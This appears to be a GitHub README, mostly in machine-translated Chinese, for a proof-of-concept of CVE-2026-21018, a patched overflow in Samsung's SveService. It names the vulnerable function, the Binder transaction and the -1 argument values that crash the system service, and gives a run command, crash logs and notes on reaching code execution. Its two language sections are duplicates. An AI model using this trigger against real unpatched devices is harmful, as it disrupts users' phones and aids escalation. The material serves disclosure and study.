Filipemendonca1978/CVE-2026-21018

GitHub: Filipemendonca1978/CVE-2026-21018

针对三星 Android 设备 SveService 缓冲区溢出漏洞(CVE-2026-21018)的概念验证工具,演示了无需特殊权限即可触发 system 级服务崩溃的漏洞利用路径。

Stars: 0 | Forks: 0

# SveService 缓冲区溢出 [![Português](#português)](#português) [![English](#english)](#english) `Samsung SMR May 2026` `SVE-2026-0478(CVE-2026-21018)` `受影响版本:Android 14, 15, 16` `披露状态:私下披露` `SMR May-2026 Release 1 之前的 SveService 存在越界写入漏洞,允许本地特权攻击者执行任意代码。` `该补丁添加了适当的输入验证。` ### 警告:这仅是用于教育目的的概念验证,我对您所做的任何非学习相关的行为概不负责。特此警告。` ### 此测试在 Galaxy A17 LTE (SM-A175F) 上进行` ## 英语 ### 概述 运行 Android 16 的三星设备上的系统服务 `SveService` (`com.sec.sve`) 存在缓冲区溢出漏洞。该服务以 `system` (UID 1000) 身份运行,并且可以通过 Binder **无需任何特殊权限**进行访问。 ### 组件 | 组件 | 角色 | 版本 | |-----------|------|---------| | `sveservice.apk` | Android 服务 | API 36 | | `libsvejni.so` | 原生 ARM64 库 | Build ID: `0a71afa45f8688b4314ed8e5a0aea8b9` | ### 漏洞细节 在 `sveJNISVE_SetCodecInfo` (`libsvejni.so:0x21710`) 中,参数 `i18`, `i19`, `i20`(通过 AIDL 作为 `i106/i107/i108` 接收,`TRANSACTION_sveSetCodecInfo = 38`)被直接传递给 `memset`、`sub sp, sp, xN` (alloca) 和 `memcpy`,**没有任何大小验证**。 类似的功能(`GetVersion`, `EnableSRTP`, `SetSRTPParams`, `SetGcmSrtpParams`)通过 `cmp w20, #0x1e; b.gt` 进行验证(拒绝大于 30 字节的请求)。而 `SetCodecInfo` 完全没有进行验证。 ### 调用流程 ``` App/Script → ServiceManager.getService("SveService") → transact(38, parcel, ...) → ISecVideoEngineService$Stub.onTransact() → SecVideoEngineImpl.sveSetCodecInfo() → SveJniProxy.sveJNISVE_SetCodecInfo() → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo ├── memset(dst, 0, i18) ├── sub sp, sp, (i19+15)&~15 ├── memset(dst, 0, i19) ├── sub sp, sp, (i20+15)&~15 ├── memset(dst, 0, i20) ├── memcpy(dst, src, i18) ├── memcpy(dst, src, i19) └── memcpy(dst, src, i20) ``` ### 值为 `-1` (0xFFFFFFFF) 时的情况 | 操作 | 值 | 效果 | |-----------|-------|--------| | `(i18 + 15) & ~15` | `0` | 分配 0 字节 | | `memset(buf, 0, i18)` | `0x00000000FFFFFFFF` | 尝试清零 4 GB → **SIGSEGV** | | `sxtw(i18)` 用于 memcpy | `0xFFFFFFFFFFFFFFFF` | -1 的符号扩展 → ~18 艾字节 | ### 崩溃证据 (Tombstone 07) ``` Cause: stack pointer is in a non-existent map; likely due to stack overflow. signal 11 (SIGSEGV), code 1 (SEGV_MAPERR) #00 __memset_aarch64+160 libc.so #01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908) x2 00000000ffffffff ← memset count = 4GB x24 00000000ffffffff ← i18 = -1 sp 000000707f5f7610 ← SP in invalid region x29 000000717f5f7710 ← original frame pointer ``` ### PoC ``` cd poc ./build_and_run.sh ``` 预期输出: ``` [*] Phase 1: valid call (1,1,1)... [+] Returned: 0 [*] Phase 2: i106=-1... [!] Exception: DeadObjectException: null [+] SveService CRASHED - overflow confirmed ``` ### 备注 - **无需 root**:通过 `app_process` 执行 `ServiceManager.getService()` 可以使用 shell UID 运行。 - **绕过权限**:`signatureOrSystem` 权限未被强制执行 —— 该服务直接通过 `ServiceManager.addService()` 注册,绕过了 Android 的权限机制。 - **必然崩溃**:使用 `0xFFFFFFFF` 的 `memset` 总是会导致崩溃。要实现 RCE 将需要地址泄露 + ROP(SM-A175F 上没有 PAC)。 ## 葡萄牙语 ### 概述 运行 Android 16 的三星设备上的系统服务 `SveService` (`com.sec.sve`) 存在缓冲区溢出漏洞。该服务以 `system` (UID 1000) 身份运行,并且可以通过 Binder **无需任何特殊权限**进行访问。 ### 组件 | 组件 | 角色 | 版本 | |------------|-------|--------| | `sveservice.apk` | Android 服务 | API 36 | | `libsvejni.so` | 原生 ARM64 库 | Build ID: `0a71afa45f8688b4314ed8e5a0aea8b9` | ### 漏洞细节 在 `sveJNISVE_SetCodecInfo` (`libsvejni.so:0x21710`) 函数中,参数 `i18`, `i19`, `i20`(通过 AIDL 作为 `i106/i107/i108` 接收,`TRANSACTION_sveSetCodecInfo = 38`)被直接用作 `memset`、`sub sp, sp, xN` (alloca) 和 `memcpy` 的参数,**没有任何大小验证**。 其他类似的功能(`GetVersion`, `EnableSRTP`, `SetSRTPParams`, `SetGcmSrtpParams`)通过 `cmp w20, #0x1e; b.gt` 进行验证(拒绝大于 30 字节的请求)。而 `SetCodecInfo` 没有任何验证。 ### 调用流程 ``` App/Script → ServiceManager.getService("SveService") → transact(38, parcel, ...) → ISecVideoEngineService$Stub.onTransact() → SecVideoEngineImpl.sveSetCodecInfo() → SveJniProxy.sveJNISVE_SetCodecInfo() → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo ├── memset(dst, 0, i18) ├── sub sp, sp, (i19+15)&~15 ├── memset(dst, 0, i19) ├── sub sp, sp, (i20+15)&~15 ├── memset(dst, 0, i20) ├── memcpy(dst, src, i18) ├── memcpy(dst, src, i19) └── memcpy(dst, src, i20) ``` ### 值为 `-1` (0xFFFFFFFF) 时的情况 | 操作 | 值 | 效果 | |----------|-------|--------| | `(i18 + 15) & ~15` | `0` | 分配 0 字节 | | `memset(buf, 0, i18)` | `0x00000000FFFFFFFF` | 尝试清零 4 GB → **SIGSEGV** | | `sxtw(i18)` 用于 memcpy | `0xFFFFFFFFFFFFFFFF` | -1 的符号扩展 → ~18 艾字节 | ### PoC ``` cd poc ./build_and_run.sh ``` 预期输出: ``` [*] Phase 1: valid call (1,1,1)... [+] Returned: 0 [*] Phase 2: i106=-1... [!] Exception: DeadObjectException: null [+] SveService CRASHED - overflow confirmed ``` ### 备注 - **无需 root**:通过 `app_process` 执行 `ServiceManager.getService()` 可以使用 shell UID 运行。 - **绕过权限**:`signatureOrSystem` 权限未被强制执行 —— 该服务直接通过 `ServiceManager.addService()` 注册,绕过了权限检查。 - **必然崩溃**:使用 `0xFFFFFFFF` 的 `memset` 总是会导致崩溃。要实现 RCE 将需要地址泄露 + ROP(SM-A175F 上没有 PAC)。
标签:Android, Cutter, DSL, Maven, Web报告查看器, 域名枚举, 安全PoC, 漏洞验证, 目录枚举, 移动安全